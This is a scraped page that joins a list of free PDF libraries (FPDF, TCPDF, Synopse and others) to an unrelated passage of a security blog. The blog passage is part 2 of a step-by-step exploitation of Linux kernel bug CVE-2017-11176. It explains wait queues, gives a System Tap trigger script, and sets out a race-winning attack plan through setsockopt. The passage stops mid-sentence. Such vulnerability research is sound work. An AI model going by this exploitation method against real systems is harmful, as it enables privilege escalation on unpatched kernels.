Email ThisBlogThis\!Share to TwitterShare to FacebookShare to Pinterest

Labels: C CPlusPlus, free, GPL, open source, pdf reader, pdf viewer, Poppler

###  Yap\(formerly GPSText\)

A PostScript/PDF previewer and front end to the a2ps text formatting tool.
Harness the full power of a2ps to beautifully format source code \(C,
Objective C, Scheme, Perl, etc.\) and many other kinds of text files.
PostScript/PDF rendering is done using GPL GhostScript.  

##  Features

  * extensive use of OOP programming techniques 
  * preview PostScript files 
  * format text files with a2ps 
  * opens files that are listed on the command line for easy previewing 
  * set   

    * paper size 
    * pretty print style 
    * prologue 
    * encoding 
double click on any of these to read a description of the respective feature

  * set a2ps options via an easy-to-use GUI 

http://www.freebsdsoftware.org/graphics/yap.html

No comments:

Email ThisBlogThis\!Share to TwitterShare to FacebookShare to Pinterest

Labels: C CPlusPlus, free, ghostscript, GPL, open source, pdf tool

###  FPDF

FPDF is a PHP class which allows to generate PDF files with pure PHP, that is
to say without using the PDFlib library. F from FPDF stands for Free: you may
use it for any kind of usage and modify it to suit your needs.  
  
FPDF has other advantages: high level functions. Here is a list of its main
features:  

  * Choice of measure unit, page format and margins
  * Page header and footer management
  * Automatic page break
  * Automatic line break and text justification
  * Image support \(JPEG, PNG and GIF\)
  * Colors
  * Links
  * TrueType, Type1 and encoding support
  * Page compression

http://www.fpdf.org/

No comments:

Email ThisBlogThis\!Share to TwitterShare to FacebookShare to Pinterest

Labels: free, open source, pdf library, permissive license, PHP

###  pear File\_PDF

PDF generation using only PHP. This package provides PDF generation using only
PHP, without requiring any external libraries.  
  
http://pear.php.net/package/File\_PDF

No comments:

Email ThisBlogThis\!Share to TwitterShare to FacebookShare to Pinterest

Labels: free, GNU Library or Lesser General Public License \(LGPL\), open
source, pdf library, PHP

###  TCPDF

TCPDF project was started in 2002 and now it is freely used all over the world
by millions of people. TCPDF is a Free Libre Open Source Software \(FLOSS\).  
  

###  Main Features:

  * no external libraries are required for the basic functions;
  * all ISO page formats, custom page formats, custom margins and units of measure;
  * UTF-8 Unicode and Right-To-Left languages;
  * TrueTypeUnicode, OpenTypeUnicode, TrueType, OpenType, Type1 and CID-0 fonts;
  * Font subsetting;
  * methods to publish some XHTML + CSS code, Javascript and Forms;
  * images, graphic \(geometric figures\) and transformation methods;
  * native support for JPEG, PNG and SVG images;
  * 1D and 2D barcodes: CODE 39, ANSI MH10.8M-1983, USD-3, 3 of 9, CODE 93, USS-93, Standard 2 of 5, Interleaved 2 of 5, CODE 128 A/B/C, 2 and 5 Digits UPC-Based Extention, EAN 8, EAN 13, UPC-A, UPC-E, MSI, POSTNET, PLANET, RMS4CC \(Royal Mail 4-state Customer Code\), CBC \(Customer Bar Code\), KIX \(Klant index - Customer index\), Intelligent Mail Barcode, Onecode, USPS-B-3200, CODABAR, CODE 11, PHARMACODE, PHARMACODE TWO-TRACKS, QR-Code, PDF417;
  * Grayscale, RGB, CMYK, Spot Colors and Transparencies;
  * automatic page header and footer management;
  * document encryption and digital signature certifications;
  * transactions to UNDO commands;
  * PDF annotations, including links, text and file attachments;
  * text rendering modes \(fill, stroke and clipping\);
  * multiple columns mode;
  * bookmarks and table of content;
  * text hyphenation;
  * automatic page break, line break and text alignments including justification;
  * automatic page numbering and page groups;
  * move and delete pages;
  * page compression.

http://www.tecnick.com/public/code/cp\_dpage.php?aiocp\_dp=tcpdf

2 comments:

Email ThisBlogThis\!Share to TwitterShare to FacebookShare to Pinterest

Labels: free, GNU Library or Lesser General Public License \(LGPL\), open
source, pdf library, PHP

###  Synopse PDF engine

**Synopse PDF engine** is an Open Source PDF document creation library for
Delphi, embedded in one unit. It's used in the 1.7 version of SQLite3
framework, for creating PDF files from reports.  
Among its features, you can use a true _TCanvas_ to create the PDF, and embed
True Type fonts subsets. Of course, it's Unicode ready, and licensed under a
MPL/GPL/LGPL tri-license.  

The **Synopse PDF engine** features:  

  * Create PDF documents containing text, graphics, and bitmaps;
  * Use a _TCanvas_ instance to draw the page content with your VCL code, just as usual \(you can even use the Handle property of the _TCanvas_ to use low level GDI commands\);
  * Automatic document Compression;
  * Embed JPG or BMP/GIF/PNG pictures \(bitmaps are compressed into the PDF content\);
  * You can draw any EMF file or _TMetaFile_ instance, which will be converted to vectorial;
  * Fully handle Unicode text content;
  * Embed TrueType fonts, as a whole, or as a subset \(i.e. only used glyphs are stored into the PDF\);
  * Easily add outlines or change page format;
  * PDF file content generation is very fast: after profiling, it appears that the creation time is mostly spent in compression, not in content generation;
  * Works in Delphi 7 up to 2010;
  * Whole engine is only one unit \(i.e. no external dll is required\), and doesn't require our SQLite3 database framework;
  * Freeware Opensource unit, licensed under a MPL/GPL/LGPL tri-license.

http://blog.synopse.info/post/2010/05/03/Synopse-PDF-engine

1 comment:

Email ThisBlogThis\!Share to TwitterShare to FacebookShare to Pinterest

Labels: Delphi, free, GNU Library or Lesser General Public License, GPL, MPL,
open source, pdf library

Home

Subscribe to: Posts \(Atom\)

|

## Labels

open source free pdf library GPL C CPlusPlus java GNU Library or Lesser
General Public License \(LGPL\) pdf reader pdf viewer .net c\# csharp pdf tool
ghostscript xpdf PHP Poppler Proprietary split AGPLv3 Apache License v2.0 BSD
License PS Print XML converter merge xsl xsl-fo AFP AWT Artistic License
Delphi GNU Library or Lesser General Public License GTK+ MPL Mozilla Public
License PCL PNG RTF TXT burst creator distiller email ftp gcj generator gnome
kpdf permissive license printer view visual basic zlib/libpng License  
---|---  
|  
---|---  
Simple template. Powered by Blogger.

# Lexfo's security blog - CVE-2017-11176: A step-by-step Linux Kernel
exploitation \(part 2/4\)

**Created:**| _10/3/2018 10:12:26 PM_  
---|---  
**Updated:**| _10/3/2018 10:12:26 PM_  
**Author:**| __  
**Tags:**| __  
  

# Introduction

The previous article provided a detailed analysis of the CVE-2017-11176 bug
\(aka. "mq\_notify: double sock\_put\(\)"\) as well as an attack scenario.

We "forced" the trigger from kernel-land to validate the bug \(with the help
of System Tap\), and built the first version of the exploit \(which only
reaches the vulnerable code\).

It exposed three requirements needed to trigger the bug \(and how to satisfy
them\):

  1. Force netlink\_attachskb\(\) to return 1
  2. Unblock the exploit thread
  3. Force the second fget\(\) call to return NULL

In this article, we will try to get rid of the System Tap script and satisfy
those requirements using userland code only. By the end of the article, we
will have a complete proof-of-concept code that triggers the bug reliably.

* * *
# Table of Contents

  * Core Concepts \#2
  * Unblocking the Main Thread
  * Making _fget\(\)_ Fail on Second Loop
  * Looping back to "retry" label
  * Final Proof-Of-Concept Code
  * Conclusion

* * *
# Core Concepts \#2

In this second "core concepts" section, the scheduler subsystem will be
introduced. The first focus will be on task states and how a task transitions
between various states. Note that the actual scheduler algorithm \(Completely
Fair Scheduler\) will not be discussed here.

It emphasizes the **wait queues** as they will be used in this article to
unblock a thread, and during the exploit to gain an arbitrary call primitive
\(cf. part 3\).

## Task State

The _running_ state of a task is stored in the **state** field of a
task\_struct. A task is basically in one of those states \(there are more\):

  * **Running** : the process is either running or waiting to be run on a cpu
  * **Waiting** : the process is waiting/sleeping for an event/resource.

A "running" task \(_TASK\_RUNNING_\) is a task that belongs to a **run
queue**. It can either be running on a cpu \(right now\) or in a near future
\(if elected by the scheduler\).

A "waiting" task is not running on any CPU. It can be woken up with the help
of **wait queues** or signals. The most common state for waiting tasks is
_TASK\_INTERRUPTIBLE_ \(i.e. "sleeping" can be interrupted\).

The various task states are defined here:

[code]

    // [include/linux/sched.h]
    
    #define TASK_RUNNING        0
    #define TASK_INTERRUPTIBLE  1
    // ... cut (other states) ...
    
[/code]

The state field can be manipulated directly or through the
**\_\_set\_current\_state\(\)** helper which uses the "current" macro:

[code]

    // [include/linux/sched.h]
    
    #define __set_current_state(state_value)            \
        do { current->state = (state_value); } while (0)
    
[/code]

## Run Queues

The **struct rq** \(run queue\) is one of the most important data structure
for the scheduler. Every task that is in a run queue will be executed by a
CPU. Every CPU has it own run queue \(allowing true multi-tasking\). It holds
the list of tasks which are "electable" \(by the scheduler\) to run on a given
CPU. It also has statistics used by the scheduler to make "fair" choices, and
eventually rebalance the load between each cpu \(i.e. cpu migration\).

[code]

    // [kernel/sched.c]
    
    struct rq {
      unsigned long nr_running;   // <----- statistics
      u64 nr_switches;            // <----- statistics
      struct task_struct *curr;   // <----- the current running task on the cpu
      // ...
    };
    
[/code]

**NOTE** : With the "Completely Fair Scheduler \(CFS\)", the way the actual
task list is stored is a bit complex but it does not matter here.

To keep it simple, consider that a task moved out of any run queue will not be
executed \(i.e. there is no CPU to execute it\). This is exactly what the
**deactivate\_task\(\)** function does. On the contrary,
**activate\_task\(\)** does the exact opposite \(it moves task into a run
queue\).

## Blocking a task and the schedule\(\) function

When a task wants to transition from a running state to a waiting state it has
to do at least two things:

  1. Set its own _running_ state to TASK\_INTERRUPTIBLE
  2. Invoke deactivate\_task\(\) to move out of its run queue

In practice, no one calls deactivate\_task\(\) directly. Instead,
**schedule\(\)** is invoked \(see below\).

The schedule\(\) function is the main function of the scheduler. When
schedule\(\) is invoked, the next \(running\) task must be elected to run on
the CPU. That is, the **curr** field of a run queue must be updated.

However, if schedule\(\) is called while the current task state is not running
\(i.e. its state is different from zero\), and no signals are pending, it will
call deactivate\_task\(\):

[code]

          asmlinkage void __sched schedule(void)
          {
            struct task_struct *prev, *next;
            unsigned long *switch_count;
            struct rq *rq;
            int cpu;
    
              // ... cut ...
    
            prev = rq->curr;    // <---- "prev" is the task running on the current CPU
    
            if (prev->state && !(preempt_count() & PREEMPT_ACTIVE)) {   // <----- ignore the "preempt" stuff
              if (unlikely(signal_pending_state(prev->state, prev)))
                prev->state = TASK_RUNNING;
              else
                deactivate_task(rq, prev, DEQUEUE_SLEEP);     // <----- task is moved out of run queue
              switch_count = &prev->nvcsw;
            }
    
            // ... cut (choose the next task) ...
          }
    
[/code]

In the end, a task can block by doing the following sequence:

[code]

    void make_it_block(void)
    {
      __set_current_state(TASK_INTERRUPTIBLE);
      schedule();
    }
    
[/code]

The task will stay blocked until _something else_ wakes it up.

## Wait Queues

Waiting for a resource or a special event is very common. For instance, if you
run a server, the main thread might be waiting for incoming connections.
Unless it is marked as "non blocking", the accept\(\) syscall will block the
main thread. That is, the main thread is stuck in kernel land until _something
else_ wakes it up.

A **wait queue** is basically a doubly linked list of processes that are
currently blocked \(_waiting_\). One might see it as the "opposite" of run
queues. The queue itself is represented with **wait\_queue\_head\_t** :

[code]

    // [include/linux/wait.h]
    
    typedef struct __wait_queue_head wait_queue_head_t;
    
    struct __wait_queue_head {
        spinlock_t lock;
        struct list_head task_list;
    };
    
[/code]

**NOTE** : The **struct list\_head** type is how Linux implements doubly
linked list.

Each element of the wait queue has the type **wait\_queue\_t** :

[code]

    // [include/linux.wait.h]
    
    typedef struct __wait_queue wait_queue_t;
    typedef int (*wait_queue_func_t)(wait_queue_t *wait, unsigned mode, int flags, void *key);
    
    struct __wait_queue {
        unsigned int flags;
        void *private;                
        wait_queue_func_t func;     // <----- we will get back to this
        struct list_head task_list;
    };
    
[/code]

A wait queue element can be created with the **DECLARE\_WAITQUEUE\(\)**
macro...

[code]

    // [include/linux/wait.h]
    
    #define __WAITQUEUE_INITIALIZER(name, tsk) {                \
        .private    = tsk,                      \
        .func       = default_wake_function,            \
        .task_list  = { NULL, NULL } }
    
    #define DECLARE_WAITQUEUE(name, tsk)                    \
        wait_queue_t name = __WAITQUEUE_INITIALIZER(name, tsk) // <----- it creates a variable!
    
[/code]

...which is invoked like this:

[code]

    DECLARE_WAITQUEUE(my_wait_queue_elt, current); // <----- use the "current" macro
    
[/code]

Finally, once a wait queue element is declared, it can be queued into a wait
queue with the function **add\_wait\_queue\(\)**. It basically just adds the
element into the doubly linked list with proper _locking_ \(do not worry about
it for now\).

[code]

    // [kernel/wait.c]
    
    void add_wait_queue(wait_queue_head_t *q, wait_queue_t *wait)
    {
        unsigned long flags;
    
        wait->flags &= ~WQ_FLAG_EXCLUSIVE;
        spin_lock_irqsave(&q->lock, flags);
        __add_wait_queue(q, wait);              // <----- here
        spin_unlock_irqrestore(&q->lock, flags);
    }
    
    static inline void __add_wait_queue(wait_queue_head_t *head, wait_queue_t *new)
    {
        list_add(&new->task_list, &head->task_list);
    }
    
[/code]

Invoking **add\_wait\_queue\(\)** is also called "registering to a wait
queue".

## Waking up a task

So far, we know that there are two kinds of queues: run queues and wait
queues. We saw that blocking a task is all about removing it from a run queue
\(with deactivate\_task\(\)\). But how can it transition from the blocked
\(sleeping\) state back to the running state?

**NOTE** : Blocked task can be woken up through signals \(and other means\),
but this is out-of-topic here.

Since a blocked task is not running anymore, **it can't wake up itself**. This
needs to be done from **another task**.

Data structures which have the ownership of a particular resource have a wait
queue. When a task wants to access this resource but it is not available at
the moment, the task can put itself in a sleeping state until woken up by the
resource's owner.

In order to be woken up when the resource becomes available, it has to
register to the resource's wait queue. As we saw earlier, this "registration"
is made with the **add\_wait\_queue\(\)** call.

When the resource becomes available, the owner wakes one or more tasks so they
can continue their executions. This is done with the **\_\_wake\_up\(\)**
function:

[code]

    // [kernel/sched.c]
    
    /**
     * __wake_up - wake up threads blocked on a waitqueue.
     * @q: the waitqueue
     * @mode: which threads
     * @nr_exclusive: how many wake-one or wake-many threads to wake up
     * @key: is directly passed to the wakeup function
     *
     * It may be assumed that this function implies a write memory barrier before
     * changing the task state if and only if any tasks are woken up.
     */
    
    void __wake_up(wait_queue_head_t *q, unsigned int mode,
                int nr_exclusive, void *key)
    {
        unsigned long flags;
    
        spin_lock_irqsave(&q->lock, flags);
        __wake_up_common(q, mode, nr_exclusive, 0, key);    // <----- here
        spin_unlock_irqrestore(&q->lock, flags);
    }
    
[/code]

[code]

        // [kernel/sched.c]
    
        static void __wake_up_common(wait_queue_head_t *q, unsigned int mode,
              int nr_exclusive, int wake_flags, void *key)
        {
          wait_queue_t *curr, *next;
    
    [0]   list_for_each_entry_safe(curr, next, &q->task_list, task_list) {
            unsigned flags = curr->flags;
    
    [1]     if (curr->func(curr, mode, wake_flags, key) &&
                (flags & WQ_FLAG_EXCLUSIVE) && !--nr_exclusive)
              break;
          }
        }
    
[/code]

This function iterates over every element in the wait queue \[0\]
\(**list\_for\_each\_entry\_safe\(\)** is a common macro used with doubly
linked list\). For each element, it invokes the **func\(\)** callback \[1\].

Remember the DECLARE\_WAITQUEUE\(\) macro? It sets the func callback to
**default\_wake\_function\(\)** :

[code]

    // [include/linux/wait.h]
    
    #define __WAITQUEUE_INITIALIZER(name, tsk) {                \
        .private    = tsk,                      \
        .func       = default_wake_function,            \                 // <------
        .task_list  = { NULL, NULL } }
    
    #define DECLARE_WAITQUEUE(name, tsk)                    \
        wait_queue_t name = __WAITQUEUE_INITIALIZER(name, tsk)
    
[/code]

In turn, the default\_wake\_function\(\) just calls **try\_to\_wake\_up\(\)**
using the **private** field of the wait queue element \(which points to the
sleeping's _task\_struct_ most of the time\):

[code]

    int default_wake_function(wait_queue_t *curr, unsigned mode, int wake_flags,
                  void *key)
    {
        return try_to_wake_up(curr->private, mode, wake_flags);
    }
    
[/code]

Finally, try\_to\_wake\_up\(\) is kind of the "opposite" of schedule\(\).
While schedule\(\) "schedules-out" the current task, try\_to\_wake\_up\(\)
makes it schedulable again. That is, it puts it in a run queue and changes its
running state\!

[code]

    static int try_to_wake_up(struct task_struct *p, unsigned int state,
                  int wake_flags)
    {
        struct rq *rq;
    
        // ... cut (find the appropriate run queue) ...
    
    out_activate:
        schedstat_inc(p, se.nr_wakeups);              // <----- update some stats
        if (wake_flags & WF_SYNC)
            schedstat_inc(p, se.nr_wakeups_sync);
        if (orig_cpu != cpu)
            schedstat_inc(p, se.nr_wakeups_migrate);
        if (cpu == this_cpu)
            schedstat_inc(p, se.nr_wakeups_local);
        else
            schedstat_inc(p, se.nr_wakeups_remote);
        activate_task(rq, p, en_flags);               // <----- put it back to run queue!
        success = 1;
    
        p->state = TASK_RUNNING;                      // <----- the state has changed!
    
        // ... cut ...
    }
    
[/code]

This is where **activate\_task\(\)** is invoked \(there are other places\).
Because the task is now back in a run queue **and** its state is
TASK\_RUNNING, it has a chance of being scheduled. Hence, continue its
execution where it was after the call to schedule\(\).

In practice, \_\_wake\_up\(\) is rarely called directly. Instead, those helper
macros are invoked:

[code]

    // [include/linux/wait.h]
    
    #define wake_up(x)          __wake_up(x, TASK_NORMAL, 1, NULL)
    #define wake_up_nr(x, nr)       __wake_up(x, TASK_NORMAL, nr, NULL)
    #define wake_up_all(x)          __wake_up(x, TASK_NORMAL, 0, NULL)
    
    #define wake_up_interruptible(x)    __wake_up(x, TASK_INTERRUPTIBLE, 1, NULL)
    #define wake_up_interruptible_nr(x, nr) __wake_up(x, TASK_INTERRUPTIBLE, nr, NULL)
    #define wake_up_interruptible_all(x)    __wake_up(x, TASK_INTERRUPTIBLE, 0, NULL)
    
[/code]

## A Complete Example

Here is a simple example to summarize the aforementioned concepts:

[code]

    struct resource_a {
      bool resource_is_ready;
      wait_queue_head_t wq;
    };
    
    void task_0_wants_resource_a(struct resource_a *res)
    {
      if (!res->resource_is_ready) {
        // "register" to be woken up
        DECLARE_WAITQUEUE(task0_wait_element, current);
        add_wait_queue(&res->wq, &task0_wait_element);
    
        // start sleeping
        __set_current_state(TASK_INTERRUPTIBLE);
        schedule();
    
        // We'll restart HERE once woken up
        // Remember to "unregister" from wait queue
      }
    
      // XXX: ... do something with the resource ...
    }
    
    void task_1_makes_resource_available(struct resource_a *res)
    {
      res->resource_is_ready = true;
      wake_up_interruptible_all(&res->wq);  // <--- unblock "task 0"
    }
    
[/code]

One thread runs the _task\_0\_wants\_resource\_a\(\)_ function which becomes
blocking because the "resource" is not available. At some point, the resource
owner makes it available \(from another thread\) and calls
_task\_1\_makes\_resource\_available\(\)_. After this, the execution of
task\_0\_wants\_resource\_a\(\) can resume.

This is a pattern that you will often see in the Linux Kernel code, you now
know what it means. Note that the term "resource" has been used here in a
generic way. Tasks can wait for an event, a condition to be true or something
else. Every time you see a "blocking" syscall, chances are a wait queue is not
that far :-\).

Let's move on and start implementing the proof-of-concept.

* * *
# Unblocking the Main Thread

In the previous article, we experimented several issues while trying to force
netlink\_attachskb\(\) to return 1. The first issue was the call to
mq\_notify\(\) that became **blocking**. In order to avoid this, we simply
_bypassed_ the call to schedule\_timeout\(\) but then, we created an
**infinite loop**. We stopped the loop by removing our target file descriptor
from the file descriptor table \(FDT\), which incidentally satisfied the last
condition: it makes the second fget\(\) call return NULL. This was done with
the help of a System Tap script:

[code]

        function force_trigger:long (arg_sock:long)
        %{
          struct sock *sk = (void*) STAP_ARG_arg_sock;
    [0]   sk->sk_flags |= (1 << SOCK_DEAD); // avoid blocking the thread
    
          struct netlink_sock *nlk = (void*) sk;
          nlk->state |= 1;   // enter the netlink_attachskb() retry path    
    
          struct files_struct *files = current->files;
          struct fdtable *fdt = files_fdtable(files);
          fdt->fd[3] = NULL; // makes the second call to fget() fails
        %}
    
[/code]

In this section, we will try to remove the line \[0\] that sets the SOCK\_DEAD
flag of a struct sock. It means that the call of mq\_notify\(\) will become
blocking again. From here, we have two possibilities:

  1. Mark the sock as SOCK\_DEAD \(as the stap script does\)
  2. Unblock the thread

## Control \(and win\) the race

Having our main thread blocked is actually **a good thing**. This is kind of a
gift from an exploiter point-of-view. Remember that the patch described
something about a "small window"? What was our attack scenario?

[code]

    Thread-1                            | Thread-2              | file refcnt | sock refcnt | sock ptr           |
    ------------------------------------+-----------------------+-------------+-------------+--------------------+
     mq_notify()                        |                       | 1           | 1           | NULL               |
                                        |                       |             |             |                    |
      fget(<TARGET_FD>) -> ok           |                       | 2 (+1)      | 1           | NULL               |
                                        |                       |             |             |                    |
      netlink_getsockbyfilp() -> ok     |                       | 2           | 2 (+1)      | 0xffffffc0aabbccdd |
                                        |                       |             |             |                    |
      fput(<TARGET_FD>) -> ok           |                       | 1 (-1)      | 2           | 0xffffffc0aabbccdd |
                                        |                       |             |             |                    |
      netlink_attachskb() -> returns 1  |                       | 1           | 1 (-1)      | 0xffffffc0aabbccdd |
                                        |                       |             |             |                    |
                                        | close(<TARGET_FD>)    | 0 (-1)      | 0 (-1)      | 0xffffffc0aabbccdd |
                                        |                       |             |             |                    |
      goto retry                        |                       | FREE        | FREE        | 0xffffffc0aabbccdd |
                                        |                       |             |             |                    |
      fget(<TARGET_FD) -> returns NULL  |                       | FREE        | FREE        | 0xffffffc0aabbccdd |
                                        |                       |             |             |                    |
      goto out                          |                       | FREE        | FREE        | 0xffffffc0aabbccdd |
                                        |                       |             |             |                    |
      netlink_detachskb() -> UAF!       |                       | FREE        | (-1) in UAF | 0xffffffc0aabbccdd |
    
[/code]

So, the "small window" is where we have the opportunity to call close\(\). As
a reminder, calling close\(\) will make the call to fget\(\) return NULL. The
window itself starts **after** the call to fget\(\) succeeds, and stops
**before** the second call to fget\(\). In the attack scenario, we call
close\(\) after netlink\_attachskb\(\), but in the system stap script we
actually _simulated_ it \(we don't call close\) before calling
netlink\_attachskb\(\).

If we by-pass the call to schedule\_timeout\(\), the window will be indeed
"small". It was not an issue with System Tap, since we modified the kernel
data structure before calling netlink\_attachskb\(\). We won't have such
luxury in userland.

On the other hand, if we can block in the middle of netlink\_attachskb\(\) and
have a way to unlock it, the window is actually as big as we want. In other
words, we have a means to **control the race condition**. One can see this as
a "breakpoint" in the main thread flow.

The Attack Plan becomes:

[code]

    Thread-1                            | Thread-2              | file refcnt | sock refcnt | sock ptr           |
    ------------------------------------+-----------------------+-------------+-------------+--------------------+
     mq_notify()                        |                       | 1           | 1           | NULL               |
      fget(<TARGET_FD>) -> ok           |                       | 2 (+1)      | 1           | NULL               |
                                        |                       |             |             |                    |
      netlink_getsockbyfilp() -> ok     |                       | 2           | 2 (+1)      | 0xffffffc0aabbccdd |
                                        |                       |             |             |                    |
      fput(<TARGET_FD>) -> ok           |                       | 1 (-1)      | 2           | 0xffffffc0aabbccdd |
                                        |                       |             |             |                    |
      netlink_attachskb()               |                       | 1           | 2           | 0xffffffc0aabbccdd |
                                        |                       |             |             |                    |
        schedule_timeout() -> SLEEP     |                       | 1           | 2           | 0xffffffc0aabbccdd |
                                        |                       |             |             |                    |
                                        | close(<TARGET_FD>)    | 0 (-1)      | 1 (-1)      | 0xffffffc0aabbccdd |
                                        |                       |             |             |                    |
                                        | UNBLOCK THREAD-1      | FREE        | 1           | 0xffffffc0aabbccdd |
        <<< Thread-1 wakes up >>>       |                       |             |             |                    |
        sock_put()                      |                       | FREE        | 0 (-1)      | 0xffffffc0aabbccdd |
                                        |                       |             |             |                    |
      netlink_attachskb() -> returns 1  |                       | FREE        | FREE        | 0xffffffc0aabbccdd |
                                        |                       |             |             |                    |
      goto retry                        |                       | FREE        | FREE        | 0xffffffc0aabbccdd |
                                        |                       |             |             |                    |
      fget(<TARGET_FD) -> returns NULL  |                       | FREE        | FREE        | 0xffffffc0aabbccdd |
                                        |                       |             |             |                    |
      goto out                          |                       | FREE        | FREE        | 0xffffffc0aabbccdd |
                                        |                       |             |             |                    |
      netlink_detachskb() -> UAF!       |                       | FREE        | (-1) in UAF | 0xffffffc0aabbccdd |
    
[/code]

Alright, blocking the main thread seems to be a good idea to win the race, but
it means we now need to unblock the thread.

## Identify "unblocker" candidates

If you didn't understand the "Core Concept \#2" section by now, it might be
the time to get back to it. In this section, we will see how
netlink\_attachskb\(\) starts blocking and how can we unblock it.

Let's have a look again to netlink\_attachskb\(\):

[code]

        // [net/netlink/af_netlink.c]
    
        int netlink_attachskb(struct sock *sk, struct sk_buff *skb,
                  long *timeo, struct sock *ssk)
        {
          struct netlink_sock *nlk;
    
          nlk = nlk_sk(sk);
    
          if (atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf || test_bit(0, &nlk->state)) {
    [0]     DECLARE_WAITQUEUE(wait, current);
    
            if (!*timeo) {
              // ... cut (unreachable code from mq_notify) ...
            }
    
    [1]     __set_current_state(TASK_INTERRUPTIBLE);
    [2]     add_wait_queue(&nlk->wait, &wait);
    
    [3]     if ((atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf || test_bit(0, &nlk->state)) &&
                !sock_flag(sk, SOCK_DEAD))
    [4]       *timeo = schedule_timeout(*timeo);
    
    [5]     __set_current_state(TASK_RUNNING);
    [6]     remove_wait_queue(&nlk->wait, &wait);
    
            sock_put(sk);
    
            if (signal_pending(current)) {
              kfree_skb(skb);
              return sock_intr_errno(*timeo);
            }
            return 1;
          }
          skb_set_owner_r(skb, sk);
          return 0;
        }
    
[/code]

The code should now sound familiar. The combination of
**\_\_set\_current\_state\(TASK\_INTERRUPTIBLE\)** \[1\] and
**schedule\_timeout\(\)** \[4\] is what makes the thread blocking. The
condition \[3\] is true because:

  * We forced it with System Tap: _nlk- >state |= 1_
  * The sock is not DEAD anymore, we removed this line: _sk- >sk\_flags |= \(1 << SOCK\_DEAD\)_

**NOTE** : The call schedule\_timeout\(MAX\_SCHEDULE\_TIMEOUT\) is really
equivalent to calling schedule\(\).

As we know, a blocked thread can be woken up if it has registered to a **wake
queue**. This registration is made with \[0\] and \[2\], whilst the
unregistration is done in \[6\]. The wait queue itself is **nlk- >wait**. That
is, it belongs to the netlink\_sock object:

[code]

    struct netlink_sock {
        /* struct sock has to be the first member of netlink_sock */
        struct sock     sk;
      // ... cut ...
        wait_queue_head_t   wait;           // <----- the wait queue
      // ... cut ...
    };
    
[/code]

This means, **it is the netlink\_sock object responsibility to wake up the
blocked thread\(s\)**.

The _nlk- >wait_ wait queue is actually used in four places:

  1. \_\_netlink\_create\(\)
  2. netlink\_release\(\)
  3. netlink\_rcv\_wake\(\)
  4. netlink\_setsockopt\(\)

Function \_\_netlink\_create\(\) is called during netlink socket creation. It
initializes an empty wait queue with **init\_waitqueue\_head\(\)**.

Function _netlink\_rcv\_wake\(\)_ is invoked by **netlink\_recvmsg\(\)** and
calls **wake\_up\_interruptible\(\)**. It actually makes sense since the first
reason to _block_ was because the receive buffer is full. If
_netlink\_recvmsg\(\)_ is invoked, then there are chances that there is now
more room in the receive buffer.

Function _netlink\_release\(\)_ is invoked when the associated struct file is
about to be freed \(refcounter drops down to zero\). It invokes
**wake\_up\_interruptible\_all\(\)**.

Finally, _netlink\_setsockopt\(\)_ is invoked through syscall
_setsockopt\(\)_. If the "optname" is **NETLINK\_NO\_ENOBUFS** , then
**wake\_up\_interruptible\(\)** is called.

So, we have three candidates to wake up our thread \(\_\_netlink\_create\(\)
excluded as it does not wake up anything\). When facing such a choice, you
want a path that:

  * Quickly reaches the desired target \(wake\_up\_interruptible\(\) in our case\). That is, a small call trace, a few "conditions" to pass...
  * Has little impacts/side-effects on the kernel \(no memory allocation, don't touch other data structures...\)

The netlink\_release\(\) path is excluded for exploitation reasons. As you
will see in part 3, we do not want to free the struct file associated to the
sock because it is our mean to trigger the use-after-free in a controlled
manner.

The netlink\_rcv\_wake\(\) path is the most "complex" one. Before reaching it
from a "recvmsg\(\)" syscall, we need to pass several checks in the _generic_
socket API. It also allocates various things, etc. The call trace is:

[code]

    - SYSCALL_DEFINE3(recvmsg)
    - __sys_recvmsg
    - sock_recvmsg
    - __sock_recvmsg
    - __sock_recvmsg_nosec  // calls sock->ops->recvmsg()
    - netlink_recvmsg
    - netlink_rcv_wake
    - wake_up_interruptible
    
[/code]

In comparison, the call trace for "setsockopt\(\)" is:

[code]

    - SYSCALL_DEFINE5(setsockopt) // calls sock->ops->setsockopt()
    - netlink_setsockopt()
    - wake_up_interruptible
    
[/code]

Much simpler, isn't it?

## Reaching wake\_up\_interruptible\(\) from setsockopt syscall

In the previous section, we saw that reaching wake\_up\_interruptible\(\) from
setsockopt syscall was the simplest way. Let's analyze the checks that need to
be passed:

[code]

        // [net/socket.c]
    
        SYSCALL_DEFINE5(setsockopt, int, fd, int, level, int, optname,
            char __user *, optval, int, optlen)
        {
          int err, fput_needed;
          struct socket *sock;
    
    [0]   if (optlen < 0)
            return -EINVAL;
    
          sock = sockfd_lookup_light(fd, &err, &fput_needed);
    [1]   if (sock != NULL) {
            err = security_socket_setsockopt(sock, level, optname);
    [2]     if (err)
              goto out_put;
    
    [3]     if (level == SOL_SOCKET)
              err =
                  sock_setsockopt(sock, level, optname, optval,
                      optlen);
            else
              err =
    [4]           sock->ops->setsockopt(sock, level, optname, optval,
                      optlen);
        out_put:
            fput_light(sock->file, fput_needed);
          }
          return err;
        }
    
[/code]

From the syscall itself, we need:

  * \[0\] - **optlen** is not negative
  * \[1\] - the **fd** should be a valid socket
  * \[2\] - LSM **must** allow us to call setsockopt\(\) for a socket
  * \[3\] - **level** is different from SOL\_SOCKET

If we pass all those checks, it will call netlink\_setsockopt\(\) \[4\]:

[code]

        // [net/netlink/af_netlink.c]
    
        static int netlink_setsockopt(struct socket *sock, int level, int optname,
                    char __user *optval, unsigned int optlen)
        {
          struct sock *sk = sock->sk;
          struct netlink_sock *nlk = nlk_sk(sk);
          unsigned int val = 0;
          int err;
    
    [5]   if (level != SOL_NETLINK)
            return -ENOPROTOOPT;
    
    [6]   if (optlen >= sizeof(int) && get_user(val, (unsigned int __user *)optval))
            return -EFAULT;
    
          switch (optname) {
            // ... cut (other options) ...
    
    [7]   case NETLINK_NO_ENOBUFS:
    [8]     if (val) {
              nlk->flags |= NETLINK_RECV_NO_ENOBUFS;
              clear_bit(0, &nlk->state);
    [9]       wake_up_interruptible(&nlk->wait);
            } else
              nlk->flags &= ~NETLINK_RECV_NO_ENOBUFS;
            err = 0;
            break;
          default:
            err = -ENOPROTOOPT;
          }
          return err;
        }
    
[/code]

The additional checks are:

  * \[5\] - **level** must be SOL\_NETLINK
  * \[6\] - **optlen** must be greater or equal _sizeof\(int\)_ and **optval** should be a readable memory location
  * \[7\] - **optname** must be NETLINK\_NO\_ENOBUFS
  * \[8\] - **val** must be different from zero

If we pass all checks, wake\_up\_interruptible\(\) will be invoked which will
